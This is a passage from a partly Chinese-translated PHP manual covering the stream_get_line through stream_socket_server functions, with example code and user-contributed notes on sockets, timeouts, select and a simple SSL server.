   $line = fgets($handle, 1000000);
}
?>
vs.
<?php
// reads 10,000 lines in 0.5 seconds
while (!feof($handle)) {
   $line = stream_get_line($handle, 1000000, "\n");
}
?>
19-Apr-2006 05:07
In version 5.0.4 using this funtion and then calling ftell($stream) would give you the position up to but not including the "ending" string.

When I rev'd to PHP version 5.1.2, calling this function then using ftell($stream) would give the position up to AND including the "ending" string

for example, parsing HTTP responses.

The response from apache using curl....
------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 18 Apr 2006 20:54:59 GMT
Server: Apache/1.3.33 (Unix) PHP/5.0.4 mod_ssl/2.8.22 OpenSSL/0.9.7e
X-Powered-By: PHP/5.0.4
Transfer-Encoding: chunked
Content-Type: text/html

<html><body>test</body></html>
-------------------------------------------------------------

The code:

<?php

  $headers = stream_get_line($in,4096,"\r\n\r\n");

   fseek ($in,ftell($in)+4);

   while (!feof($in)){
     fputs ($out,stream_get_line($in,4096,''));
   }

?>

prior to my 5.0.4 this worked perfectly, trimming the \r\n\r\n section of the HTTP response and seperating the top into the $headers string, and the rest was placed into the file handle $out.

using php 5.1.2, the above code chopps off the first 4 bytes of the HTTP response and puts

l><body>test</body></html>

into $out.
add a note add a note

后退 | 起点 | 前进
stream_get_filters | 上一级 | stream_get_meta_data


stream_get_meta_data

(PHP 4 >= 4.3.0, PHP 5)

stream_get_meta_data -- 从封装协议文件指针中取得报头／元数据

说明

mixed stream_get_meta_data ( int fp )

返回现有 stream 的信息。可以是任何通过 fopen()，fsockopen() 和 pfsockopen() 建立的流。返回的数组包含以下项目：

  • timed_out (bool) - 如果在上次调用 fread() 或者 fgets() 中等待数据时流超时了则为 TRUE。

  • blocked (bool) - 如果流处于阻塞 IO 模式时为 TRUE。参见 socket_set_blocking()。

  • eof (bool) - 如果流到达文件末尾时为 TRUE。注意对于 socket 流甚至当 unread_bytes 为非零值时也可以为 TRUE。要测定是否有更多数据可读，用 feof() 替代读取本项目的值。

  • unread_bytes (int) - 当前读取缓冲区中的字节数。

以下项目是 PHP 4.3 新加的：

  • stream_type (string) - 一个描述流底层实现的标注。

  • wrapper_type (string) - 一个描述流的分层协议封装实现的标注。更多关于封装协议的信息见 附录 L。

  • wrapper_data (mixed) - 当前流附加的封装协议数据。更多封装协议及其数据的信息见 附录 L。

  • filters (array) - 包含有被叠加在当前流的任何过滤器名的数组。过滤器目前没有文档。

注: 本函数是 PHP 4.3 引进的，在此版本之前，可以用 socket_get_status() 来取得前四个项目并且仅能用于基于 socket 的流。

在 PHP 4.3 及以后版本中，socket_get_status() 是本函数的别名。

注: 本函数不能作用于通过 Socket 扩展库创建的流。

add a note add a note User Contributed Notes
ed at readinged dot com
29-Jan-2003 11:54
Below is a function I wrote to pull the "Last-Modified" header from a given URL.  In PHP version 4.3 and above, it takes advantage of the stream_get_meta_data function, and in older version it uses a conventional GET procedure.  On failure to connect to $url, it returns NULL.  If the server does not return the Last-Modified header, it returns the current time.  All times are returned in PHP's integer format (seconds since epoch).

Use it as so:

$last_modified = stream_last_modified('http://www.php.net/news.rss');
if (!is_null($last_modified))
   if ($last_modified < time()-3600) //Older than an hour
     echo 'URL is older than an hour.';
   else
     echo 'URL is fairly new.';
else
   echo 'Invalid URL!';

function stream_last_modified($url)
{
   if (function_exists('version_compare') && version_compare(phpversion(), '4.3.0') > 0)
   {
     if (!($fp = @fopen($url, 'r')))
         return NULL;

     $meta = stream_get_meta_data($fp);
     for ($j = 0; isset($meta['wrapper_data'][$j]); $j++)
     {
         if (strstr(strtolower($meta['wrapper_data'][$j]), 'last-modified'))
         {
           $modtime = substr($meta['wrapper_data'][$j], 15);
           break;
         }
     }
     fclose($fp);
   }
   else
   {
     $parts = parse_url($url);
     $host  = $parts['host'];
     $path  = $parts['path'];

     if (!($fp = @fsockopen($host, 80)))
         return NULL;

     $req = "HEAD $path HTTP/1.0\r\nUser-Agent: PHP/".phpversion()."\r\nHost: $host:80\r\nAccept: */*\r\n\r\n";
     fputs($fp, $req);

     while (!feof($fp))
     {
         $str = fgets($fp, 4096);
         if (strstr(strtolower($str), 'last-modified'))
         {
           $modtime = substr($str, 15);
           break;
         }
     }
     fclose($fp);
  }
   return isset($modtime) ? strtotime($modtime) : time();
}
add a note add a note

后退 | 起点 | 前进
stream_get_line | 上一级 | stream_get_transports


stream_get_transports

(PHP 5)

stream_get_transports -- Retrieve list of registered socket transports

Description

array stream_get_transports ( void )

Returns an indexed array containing the name of all socket transports available on the running system.

例子 1. Using stream_get_transports()

<?php
$xportlist = stream_get_transports();
print_r($xportlist);
?>

Output will be similar to the following. Note: there may be more or fewer transports in your version of PHP.

Array (
  [0] => tcp
  [1] => udp
  [2] => unix
  [3] => udg
)

See also stream_get_filters(), and stream_get_wrappers().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_get_meta_data | 上一级 | stream_get_wrappers


stream_get_wrappers

(PHP 5)

stream_get_wrappers -- Retrieve list of registered streams

Description

array stream_get_wrappers ( void )

Returns an indexed array containing the name of all stream wrappers available on the running system.

例子 1. stream_get_wrappers() example

<?php
print_r(stream_get_wrappers());
?>

上例的输出类似于：

Array
(
    [0] => php
    [1] => file
    [2] => http
    [3] => ftp
    [4] => compress.bzip2
    [5] => compress.zlib
)

例子 2. Checking for the existence of a stream wrapper

<?php
// check for the existence of the bzip2 stream wrapper
if (in_array('compress.bzip2', stream_get_wrappers())) {
    echo 'compress.bzip2:// support enabled.';
} else {
    echo 'compress.bzip2:// support not enabled.';
}
?>

See also stream_wrapper_register().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_get_transports | 上一级 | stream_register_wrapper


stream_register_wrapper

(PHP 4 >= 4.3.0, PHP 5)

stream_register_wrapper -- Alias of stream_wrapper_register()

Description

This function is an alias of stream_wrapper_register(). This function is included for compatability with PHP 4.3.0 and PHP 4.3.1 only. stream_wrapper_register() should be used instead.

add a note add a note User Contributed Notes
manuzhai (AT) php (DOT) net
08-Jan-2003 03:59
To get the https wrapper working on Windows, you need to replace your php4ts.dll with the one provided at http://ftp.proventum.net/pub/php/win32/misc/openssl/. This is instead of using the php_openssl.dll, so be sure to comment this extension in your php.ini.
add a note add a note

后退 | 起点 | 前进
stream_get_wrappers | 上一级 | stream_select


stream_select

(PHP 4 >= 4.3.0, PHP 5)

stream_select -- Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec

Description

int stream_select ( array &read, array &write, array &except, int tv_sec [, int tv_usec] )

The stream_select() function accepts arrays of streams and waits for them to change status. Its operation is equivalent to that of the socket_select() function except in that it acts on streams.

The streams listed in the read array will be watched to see if characters become available for reading (more precisely, to see if a read will not block - in particular, a stream resource is also ready on end-of-file, in which case an fread() will return a zero length string).

The streams listed in the write array will be watched to see if a write will not block.

The streams listed in the except array will be watched for high priority exceptional ("out-of-band") data arriving.

注: When stream_select() returns, the arrays read, write and except are modified to indicate which stream resource(s) actually changed status.

The tv_sec and tv_usec together form the timeout parameter, tv_sec specifies the number of seconds while tv_usec the number of microseconds. The timeout is an upper bound on the amount of time that stream_select() will wait before it returns. If tv_sec and tv_usec are both set to 0, stream_select() will not wait for data - instead it will return immediately, indicating the current status of the streams. If tv_sec is NULL stream_select() can block indefinitely, returning only when an event on one of the watched streams occurs (or if a signal interrupts the system call).

On success stream_select() returns the number of stream resources contained in the modified arrays, which may be zero if the timeout expires before anything interesting happens. On error FALSE is returned and a warning raised (this can happen if the system call is interrupted by an incoming signal).

警告

Using a timeout value of 0 allows you to instantaneously poll the status of the streams, however, it is NOT a good idea to use a 0 timeout value in a loop as it will cause your script to consume too much CPU time.

It is much better to specify a timeout value of a few seconds, although if you need to be checking and running other code concurrently, using a timeout value of at least 200000 microseconds will help reduce the CPU usage of your script.

Remember that the timeout value is the maximum time that will elapse; stream_select() will return as soon as the requested streams are ready for use.

You do not need to pass every array to stream_select(). You can leave it out and use an empty array or NULL instead. Also do not forget that those arrays are passed by reference and will be modified after stream_select() returns.

This example checks to see if data has arrived for reading on either $stream1 or $stream2. Since the timeout value is 0 it will return immediately:
<?php
/* Prepare the read array */
$read = array($stream1, $stream2);

if (false === ($num_changed_streams = stream_select($read, $write = NULL, $except = NULL, 0))) {
    /* Error handling */
} elseif ($num_changed_streams > 0) {
    /* At least on one of the streams something interesting happened */
}
?>

注: Due to a limitation in the current Zend Engine it is not possible to pass a constant modifier like NULL directly as a parameter to a function which expects this parameter to be passed by reference. Instead use a temporary variable or an expression with the leftmost member being a temporary variable:
<?php
stream_select($r, $w, $e = NULL, 0);
?>

注: Be sure to use the === operator when checking for an error. Since the stream_select() may return 0 the comparison with == would evaluate to TRUE:
<?php
if (false === stream_select($r, $w, $e = NULL, 0)) {
    echo "stream_select() failed\n";
}
?>

注: If you read/write to a stream returned in the arrays be aware that they do not necessarily read/write the full amount of data you have requested. Be prepared to even only be able to read/write a single byte.

注: Windows compatibility: stream_select() used on a pipe returned from proc_open() may cause data loss under Windows 98.

Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.

See also stream_set_blocking().

add a note add a note User Contributed Notes
phpdoc at shemesh dot biz
14-Mar-2005 05:33
Please note that, on return, the key of "read" will be zero based, serially numbered according to the streams for which there is read data ready only. In other words, if you want to know which of the original streams placed in "read" is ready, there is no immediate way of knowing that.

If you want to know which of the original stream is which, you can either use "==", or possibly set a reverse map array, in which the stream is the key, and the key to the original "read" array is the data.
aidan at php dot net
23-Jun-2004 02:30
If you want to set an absolute maximum execution time for stream_select in a loop, it's important to decrement the max_time value passed to stream_select.

<?php
// The maximum time for execution in milliseconds
$maxtime = 200000;
// The time the loop started
$starttime = microtime(true);
// Original array of sockets
$r = $orig_sockets;

// The function to calculate the timeout
function calctimeout($maxtime, $starttime)
{
   return $maxtime - ((microtime(true) - $starttime) * 1000000);
}

while (stream_select($r, $w = null, $e = null, 0, calctimeout($maxtime, $starttime)) !== 0)
{
   // loop through the sockets that showed activity
   foreach ($r as $socket) {
       // $socket talked
   }

   // stream_select modifies the contents of $r
   // in a loop we should replace it with the original
   $r = $orig_sockets;
}

?>
add a note add a note

后退 | 起点 | 前进
stream_register_wrapper | 上一级 | stream_set_blocking


stream_set_blocking

(PHP 4 >= 4.3.0, PHP 5)

stream_set_blocking -- Set blocking/non-blocking mode on a stream

Description

bool stream_set_blocking ( resource stream, int mode )

If mode is 0, the given stream will be switched to non-blocking mode, and if 1, it will be switched to blocking mode. This affects calls like fgets() and fread() that read from the stream. In non-blocking mode an fgets() call will always return right away while in blocking mode it will wait for data to become available on the stream.

如果成功则返回 TRUE，失败则返回 FALSE。

This function was previously called as set_socket_blocking() and later socket_set_blocking() but this usage is deprecated.

注: Prior to PHP 4.3, this function only worked on socket based streams. Since PHP 4.3, this function works for any stream that supports non-blocking mode (currently, regular files and socket streams).

See also stream_select().

add a note add a note User Contributed Notes
t dot starling at physics dot unimelb dot edu dot au
08-Sep-2005 07:02
Warning: if you write too much data to a stream in non-blocking mode and fill the buffer, the excess will be silently discarded. Observed in PHP 4.4.0 under linux.
add a note add a note

后退 | 起点 | 前进
stream_select | 上一级 | stream_set_timeout


stream_set_timeout

(PHP 4 >= 4.3.0, PHP 5)

stream_set_timeout -- Set timeout period on a stream

Description

bool stream_set_timeout ( resource stream, int seconds [, int microseconds] )

Sets the timeout value on stream, expressed in the sum of seconds and microseconds. 如果成功则返回 TRUE，失败则返回 FALSE。

When the stream times out, the 'timed_out' key of the array returned by stream_get_meta_data() is set to TRUE, although no error/warning is generated.

例子 1. stream_set_timeout() example

<?php
$fp = fsockopen("www.example.com", 80);
if (!$fp) {
    echo "Unable to open\n";
} else {

    fwrite($fp, "GET / HTTP/1.0\r\n\r\n");
    stream_set_timeout($fp, 2);
    $res = fread($fp, 2000);

    $info = stream_get_meta_data($fp);
    fclose($fp);

    if ($info['timed_out']) {
        echo 'Connection timed out!';
    } else {
        echo $res;
    }

}
?>

注: As of PHP 4.3, this function can (potentially) work on any kind of stream. In PHP 4.3, socket based streams are still the only kind supported in the PHP core, although streams from other extensions may support this function.

This function was previously called as set_socket_timeout() and later socket_set_timeout() but this usage is deprecated.

See also fsockopen() and fopen().

add a note add a note User Contributed Notes
rtfm61 at yandex dot ru
25-Feb-2006 06:41
stream_set_timeout() is not suitable for such files as UNIX-devices (/dev/...), i suggest to use select() instead with desirable timeout value - that works well.
ridera
21-Feb-2005 12:15
[WHOOPS! sorry had the key point reversed in my text. ]

I have been trying to understand how to use stream_set_timeout when calling a remote http page and put together the following code snippets. The first one is a simple test file "test.php" that is called as an html webpage.

The key I found is the "stream_set_blocking($fp, TRUE )".  If "FALSE", then $status['timed_out'] seems to not have any practical effect.  "TRUE" [PHP default] works.

Note, I have two timeouts, stream and monitor.  I need both in my application.

<?php
echo $html_stuffn;        //the html header, etc.
ob_flush();                  //makes it echo immediately

$delay= 20;                  //tweak this, seconds

$report = "<div>Test started at: " . date("H:i:s")</div>n";
$report .=  "<div>Started delay= $delay)</div>n";
echo($report);
ob_flush();

$i=1;
$start_time= time();

while($i <= 10){

   $diff= time()-$start_time;

   $msg = $i . " at " . $diff;

   echo "$msg<br>n";

   sleep($delay);

   $i= $i+1;
} // end while

$report = "Finishedn";
$report .= " </body>n</html>";

echo($report);
?>

The second code block calls test.php with the usual "fopen()"

<?php
$fp= fopen("http://URL/.../test.php", 'rb');

$query_timeout= 4;  //tweek this
$monitor_time_sec= 120;    //master timeout

stream_set_blocking($fp, FALSE ); //THIS IS IMPORTANT

stream_set_timeout($fp, $query_timeout);

$status = socket_get_status($fp);

// fetch data from test.php
while (!feof($fp) && !$status['timed_out']) {

   $chunk = fread($fp, 10000);

   $length = strlen($chunk);
   $html_str .= $chunk;

   $diff = time() - $start_time;

   $tm = $status['timed_out'];

   echo "<div>At $diff seconds >>  $length bytes read, Status[timed out]: ($tm)</div>";
   ob_flush();

   if ($diff > $monitor_time_sec) {
       $pq_array['monitor_timed_out'] = true;
       break;
   } //end if

   sleep(2);

   $status = socket_get_status($fp);
} //end while, fetching data

fclose($fp);

$pq_array['connection_timed_out'] = ($status['timed_out'])? true : false;

print_r($pq_array);

echo $html_str;  //or whatever.
?>
ridera
17-Feb-2005 09:37
I have found it required to add

"stream_set_blocking($fp, FALSE )"

prior to any fgets(), fread(), etc. to prevent the code from hanging up when remote files are called and the response is slow.
add a note add a note

后退 | 起点 | 前进
stream_set_blocking | 上一级 | stream_set_write_buffer


stream_set_write_buffer

(PHP 4 >= 4.3.0, PHP 5)

stream_set_write_buffer -- Sets file buffering on the given stream

Description

int stream_set_write_buffer ( resource stream, int buffer )

Output using fwrite() is normally buffered at 8K. This means that if there are two processes wanting to write to the same output stream (a file), each is paused after 8K of data to allow the other to write. stream_set_write_buffer() sets the buffering for write operations on the given filepointer stream to buffer bytes. If buffer is 0 then write operations are unbuffered. This ensures that all writes with fwrite() are completed before other processes are allowed to write to that output stream.

The function returns 0 on success, or EOF if the request cannot be honored.

The following example demonstrates how to use stream_set_write_buffer() to create an unbuffered stream.

例子 1. stream_set_write_buffer() example

<?php
$fp = fopen($file, "w");
if ($fp) {
  stream_set_write_buffer($fp, 0);
  fwrite($fp, $output);
  fclose($fp);
}
?>

See also fopen() and fwrite().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_set_timeout | 上一级 | stream_socket_accept


stream_socket_accept

(PHP 5)

stream_socket_accept -- Accept a connection on a socket created by stream_socket_server()

Description

resource stream_socket_accept ( resource server_socket [, float timeout [, string &peername]] )

Accept a connection on a socket previously created by stream_socket_server(). If timeout is specified, the default socket accept timeout will be overridden with the time specified in seconds. The name (address) of the client which connected will be passed back in peername if included and available from the selected transport.

peername can also be determined later using stream_socket_get_name().

If the call fails, it will return FALSE.

警告

This function should not be used with UDP server sockets. Instead, use stream_socket_recvfrom() and stream_socket_sendto().

See also stream_socket_server(),
stream_socket_get_name(),
stream_set_blocking(),
stream_set_timeout(),
fgets(),
fgetss(), fwrite(),
fclose(), feof(), and
the Curl extension.

add a note add a note User Contributed Notes
leleu256NOSPAM at hotmail dot com
02-Nov-2004 09:58
This code could be very helpfull...

The following code is for the "server". It listen for a message until CTRL-C

<?php
while (true)
{
// disconnected every 5 seconds...
receive_message('127.0.0.1','85',5);
}

function receive_message($ipServer,$portNumber,$nbSecondsIdle)
{
  // creating the socket...
  $socket = stream_socket_server('tcp://'.$ipServer.':'.$portNumber, $errno, $errstr);
  if (!$socket)
  {
   echo "$errstr ($errno)<br />\n";
  }
  else
   {
   // while there is connection, i'll receive it... if I didn't receive a message within $nbSecondsIdle seconds, the following function will stop.
   while ($conn = @stream_socket_accept($socket,$nbSecondsIdle))
   {
     $message= fread($conn, 1024);
     echo 'I have received that : '.$message;
     fputs ($conn, "OK\n");
     fclose ($conn);
   }
   fclose($socket);
  }
}
?>

The following code is for the "client". It send a message, and read the respons...

<?php

send_message('127.0.0.1','85','Message to send...');

function send_message($ipServer,$portServer,$message)
{
  $fp = stream_socket_client("tcp://$ipServer:$portServer", $errno, $errstr);
  if (!$fp)
  {
     echo "ERREUR : $errno - $errstr<br />\n";
  }
  else
  {
     fwrite($fp,"$message\n");
     $response =  fread($fp, 4);
     if ($response != "OK\n")
       {echo 'The command couldn\'t be executed...\ncause :'.$response;}
     else
       {echo 'Execution successfull...';}
     fclose($fp);
  }
}
?>
add a note add a note

后退 | 起点 | 前进
stream_set_write_buffer | 上一级 | stream_socket_client


stream_socket_client

(PHP 5)

stream_socket_client -- Open Internet or Unix domain socket connection

Description

resource stream_socket_client ( string remote_socket [, int &errno [, string &errstr [, float timeout [, int flags [, resource context]]]]] )

Initiates a stream or datagram connection to the destination specified by remote_socket. The type of socket created is determined by the transport specified using standard URL formatting: transport://target. For Internet Domain sockets (AF_INET) such as TCP and UDP, the target portion of the remote_socket parameter should consist of a hostname or IP address followed by a colon and a port number. For Unix domain sockets, the target portion should point to the socket file on the filesystem. The optional timeout can be used to set a timeout in seconds for the connect system call. flags is a bitmask field which may be set to any combination of connection flags. Currently the selection of connection flags is limited to STREAM_CLIENT_CONNECT (default), STREAM_CLIENT_ASYNC_CONNECT and STREAM_CLIENT_PERSISTENT.

注: If you need to set a timeout for reading/writing data over the socket, use stream_set_timeout(), as the timeout parameter to stream_socket_client() only applies while connecting the socket.

stream_socket_client() returns a
stream resource which may
be used together with the other file functions (such as
fgets(), fgetss(),
fwrite(), fclose(), and
feof()).

If the call fails, it will return FALSE and if the optional errno and errstr arguments are present they will be set to indicate the actual system level error that occurred in the system-level connect() call. If the value returned in errno is 0 and the function returned FALSE, it is an indication that the error occurred before the connect() call. This is most likely due to a problem initializing the socket. Note that the errno and errstr arguments will always be passed by reference.

Depending on the environment, the Unix domain or the optional connect timeout may not be available. A list of available transports can be retrieved using stream_get_transports(). See 附录 N for a list of built in transports.

The stream will by default be opened in blocking mode. You can switch it to non-blocking mode by using stream_set_blocking().

例子 1. stream_socket_client() Example

<?php
$fp = stream_socket_client("tcp://www.example.com:80", $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n");
    while (!feof($fp)) {
        echo fgets($fp, 1024);
    }
    fclose($fp);
}
?>
The example below shows how to retrieve the day and time from the UDP service "daytime" (port 13) in your own machine.

例子 2. Using UDP connection

<?php
$fp = stream_socket_client("udp://127.0.0.1:13", $errno, $errstr);
if (!$fp) {
    echo "ERROR: $errno - $errstr<br />\n";
} else {
    fwrite($fp, "\n");
    echo fread($fp, 26);
    fclose($fp);
}
?>

警告

UDP sockets will sometimes appear to have opened without an error, even if the remote host is unreachable. The error will only become apparent when you read or write data to/from the socket. The reason for this is because UDP is a "connectionless" protocol, which means that the operating system does not try to establish a link for the socket until it actually needs to send or receive data.

注: 当指定数字的 IPv6 地址（例如 fe80::1）时必须将 IP 地址放在方括号内。例如 tcp://[fe80::1]:80。

See also stream_socket_server(),
stream_set_blocking(),
stream_set_timeout(),
stream_select(),
fgets(),
fgetss(), fwrite(),
fclose(), feof(), and
the Curl extension.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_socket_accept | 上一级 | stream_socket_enable_crypto


stream_socket_enable_crypto

(PHP 5 >= 5.1.0RC1)

stream_socket_enable_crypto -- Turns encryption on/off on an already connected socket

Description

mixed stream_socket_enable_crypto ( resource stream, bool enable [, int crypto_type [, resource session_stream]] )

When called with the crypto_type parameter, stream_socket_enable_crypto() will setup encryption on the stream using the specified method.

Valid values for crypto_type

  • STREAM_CRYPTO_METHOD_SSLv2_CLIENT

  • STREAM_CRYPTO_METHOD_SSLv3_CLIENT

  • STREAM_CRYPTO_METHOD_SSLv23_CLIENT

  • STREAM_CRYPTO_METHOD_TLS_CLIENT

  • STREAM_CRYPTO_METHOD_SSLv2_SERVER

  • STREAM_CRYPTO_METHOD_SSLv3_SERVER

  • STREAM_CRYPTO_METHOD_SSLv23_SERVER

  • STREAM_CRYPTO_METHOD_TLS_SERVER

Once the crypto settings are established, cryptography can be turned on and off dynamically by passing TRUE or FALSE in the enable parameter.

If this stream should be seeded with settings from an already established crypto enabled stream, pass that stream's resource variable in the fourth parameter.

Returns TRUE on success, FALSE if negotiation has failed or 0 if there isn't enough data and you should try again (only for non-blocking sockets).

例子 1. stream_socket_enable_crypto() Example

<?php
$fp = stream_socket_client("tcp://myproto.example.com:31337", $errno, $errstr, 30);
if (!$fp) {
  die("Unable to connect: $errstr ($errno)");
}
/* Turn on encryption for login phase */
stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_SSLv23_CLIENT);
fwrite($fp, "USER god\r\n");
fwrite($fp, "PASS secret\r\n");
/* Turn off encryption for the rest */
stream_socket_enable_crypto($fp, false);
while ($motd = fgets($fp)) {
  echo $motd;
}
fclose($fp);
?>

参考 XCVII, OpenSSL Functions, and 附录 N

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_socket_client | 上一级 | stream_socket_get_name


stream_socket_get_name

(PHP 5)

stream_socket_get_name -- Retrieve the name of the local or remote sockets

Description

string stream_socket_get_name ( resource handle, bool want_peer )

Returns the local or remote name of a given socket connection. If want_peer is set to TRUE the remote socket name will be returned, if it is set to FALSE the local socket name will be returned.

See also stream_socket_accept().

add a note add a note User Contributed Notes
eddi at to-grip dot de
15-May-2006 03:07
Use this function to check current status of a connection:
<?php
$c=stream_socket_server("tcp://127.0.0.1:1100");
while(1){
   if(is_resource($a=stream_socket_accept($c))){
     # do something time-consuming
     if(stream_socket_get_name($a,true)!==false){
         fwrite($a,"Regards form Berlin");
     }
   }
} ?>
add a note add a note

后退 | 起点 | 前进
stream_socket_enable_crypto | 上一级 | stream_socket_pair


stream_socket_pair

(PHP 5 >= 5.1.0RC1)

stream_socket_pair -- Creates a pair of connected, indistinguishable socket streams

说明

array stream_socket_pair ( int domain, int type, int protocol )

stream_socket_pair() creates a pair of connected, indistinguishable socket streams. This function is commonly used in IPC (Inter-Process Communication).

参数

domain

The protocol family to be used: STREAM_PF_INET, STREAM_PF_INET6 or STREAM_PF_UNIX

type

The type of communication to be used: STREAM_SOCK_DGRAM, STREAM_SOCK_RAW, STREAM_SOCK_RDM, STREAM_SOCK_SEQPACKET or STREAM_SOCK_STREAM

protocol

The protocol to be used: STREAM_IPPROTO_ICMP, STREAM_IPPROTO_IP, STREAM_IPPROTO_RAW, STREAM_IPPROTO_TCP or STREAM_IPPROTO_UDP

注: Please consult the Streams constant list for further details on each constant.

返回值

Returns an array with the two socket resources on success, or FALSE on failure.

范例

例子 1. A stream_socket_pair() example

This example shows the basic usage of stream_socket_pair() in Inter-Process Comunication.

<?php

$sockets = stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$pid     = pcntl_fork();

if ($pid == -1) {
     die('could not fork');

} else if ($pid) {
     /* parent */
    fclose($sockets[0]);

    fwrite($sockets[1], "child PID: $pid\n");
    echo fgets($sockets[1]);

    fclose($sockets[1]);

} else {
    /* child */
    fclose($sockets[1]);

    fwrite($sockets[0], "message from child\n");
    echo fgets($sockets[0]);

    fclose($sockets[0]);
}

?>

上例的输出类似于：

child PID: 1378
message from child

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_socket_get_name | 上一级 | stream_socket_recvfrom


stream_socket_recvfrom

(PHP 5)

stream_socket_recvfrom -- Receives data from a socket, connected or not

Description

string stream_socket_recvfrom ( resource socket, int length [, int flags [, string &address]] )

The function stream_socket_recvfrom() accepts data from a remote socket up to length bytes. If address is provided it will be populated with the address of the remote socket.

The value of flags can be any combination of the following:

表格 1. possible values for flags

STREAM_OOB | Process OOB (out-of-band) data.
STREAM_PEEK | Retrieve data from the socket, but do not consume the buffer. Subsequent calls to fread() or stream_socket_recvfrom() will see the same data.

例子 1. stream_socket_recvfrom() Example

<?php
/* Open a server socket to port 1234 on localhost */
$server = stream_socket_server('tcp://127.0.0.1:1234');

/* Accept a connection */
$socket = stream_socket_accept($server);

/* Grab a packet (1500 is a typical MTU size) of OOB data */
echo "Received Out-Of-Band: '" . stream_socket_recvfrom($socket, 1500, STREAM_OOB) . "'\n";

/* Take a peek at the normal in-band data, but don't comsume it. */
echo "Data: '" . stream_socket_recvfrom($socket, 1500, STREAM_PEEK) . "'\n";

/* Get the exact same packet again, but remove it from the buffer this time. */
echo "Data: '" . stream_socket_recvfrom($socket, 1500) . "'\n";

/* Close it up */
fclose($socket);
fclose($server);
?>

注: If a message received is longer than the length parameter, excess bytes may be discarded depending on the type of socket the message is received from (such as UDP).

See also
stream_socket_sendto(),
stream_socket_client(), and
stream_socket_server().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_socket_pair | 上一级 | stream_socket_sendto


stream_socket_sendto

(PHP 5)

stream_socket_sendto -- Sends a message to a socket, whether it is connected or not

Description

int stream_socket_sendto ( resource socket, string data [, int flags [, string address]] )

The function stream_socket_sendto() sends the data specified by data through the socket specified by socket. The address specified when the socket stream was created will be used unless an alternate address is specified in address.

The value of flags can be any combination of the following:

表格 1. possible values for flags

STREAM_OOB Process OOB (out-of-band) data.

例子 1. stream_socket_sendto() Example

<?php
/* Open a socket to port 1234 on localhost */
$socket = stream_socket_client('tcp://127.0.0.1:1234');

/* Send ordinary data via ordinary channels. */
fwrite($socket, "Normal data transmit.");

/* Send more data out of band. */
stream_socket_sendto($socket, "Out of Band data.", STREAM_OOB);

/* Close it up */
fclose($socket);
?>

See also
stream_socket_recvfrom(),
stream_socket_client(), and
stream_socket_server().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_socket_recvfrom | 上一级 | stream_socket_server


stream_socket_server

(PHP 5)

stream_socket_server -- Create an Internet or Unix domain server socket

Description

resource stream_socket_server ( string local_socket [, int &errno [, string &errstr [, int flags [, resource context]]]] )

Creates a stream or datagram socket on the specified local_socket. The type of socket created is determined by the transport specified using standard URL formatting: transport://target. For Internet Domain sockets (AF_INET) such as TCP and UDP, the target portion of the remote_socket parameter should consist of a hostname or IP address followed by a colon and a port number. For Unix domain sockets, the target portion should point to the socket file on the filesystem. flags is a bitmask field which may be set to any combination of socket creation flags. The default value of flags is STREAM_SERVER_BIND | STREAM_SERVER_LISTEN.

注: For UDP sockets, you must use STREAM_SERVER_BIND as the flags parameter.

This function only creates a socket, to begin accepting connections use stream_socket_accept().

If the call fails, it will return FALSE and if the optional errno and errstr arguments are present they will be set to indicate the actual system level error that occurred in the system-level socket(), bind(), and listen() calls. If the value returned in errno is 0 and the function returned FALSE, it is an indication that the error occurred before the bind() call. This is most likely due to a problem initializing the socket. Note that the errno and errstr arguments will always be passed by reference.

Depending on the environment, Unix domain sockets may not be available. A list of available transports can be retrieved using stream_get_transports(). See 附录 N for a list of bulitin transports.

例子 1. Using TCP server sockets

<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
  echo "$errstr ($errno)<br />\n";
} else {
  while ($conn = stream_socket_accept($socket)) {
    fwrite($conn, 'The local time is ' . date('n/j/Y g:i a') . "\n");
    fclose($conn);
  }
  fclose($socket);
}
?>

The example below shows how to act as a time server which can respond to time queries as shown in an example on stream_socket_client().

注: Most systems require root access to create a server socket on a port below 1024.

例子 2. Using UDP server sockets

<?php
$socket = stream_socket_server("udp://127.0.0.1:1113", $errno, $errstr, STREAM_SERVER_BIND);
if (!$socket) {
    die("$errstr ($errno)");
}

do {
    $pkt = stream_socket_recvfrom($socket, 1, 0, $peer);
    echo "$peer\n";
    stream_socket_sendto($socket, date("D M j H:i:s Y\r\n"), 0, $peer);
} while ($pkt !== false);

?>

注: 当指定数字的 IPv6 地址（例如 fe80::1）时必须将 IP 地址放在方括号内。例如 tcp://[fe80::1]:80。

See also stream_socket_client(),
stream_set_blocking(),
stream_set_timeout(),
fgets(),
fgetss(), fwrite(),
fclose(), feof(), and
the Curl extension.

add a note add a note User Contributed Notes
e at osterman dot com
26-May-2006 10:36
Example "Hello World!" SSL HTTP Server. Note, if you don't use a signed ssl certificate, your browser will give you a warning.

<?php
// Hello World! SSL HTTP Server.
// Tested on PHP 5.1.2-1+b1 (cli) (built: Mar 20 2006 04:17:24)

$context = stream_context_create();

// local_cert must be in PEM format
stream_context_set_option($context, 'ssl', 'local_cert', './server.pem');
// Pass Phrase (password) of private key
stream_context_set_option($context, 'ssl', 'passphrase', 'comet');

stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
stream_context_set_option($context, 'ssl', 'verify_peer', false);

// Create the server socket
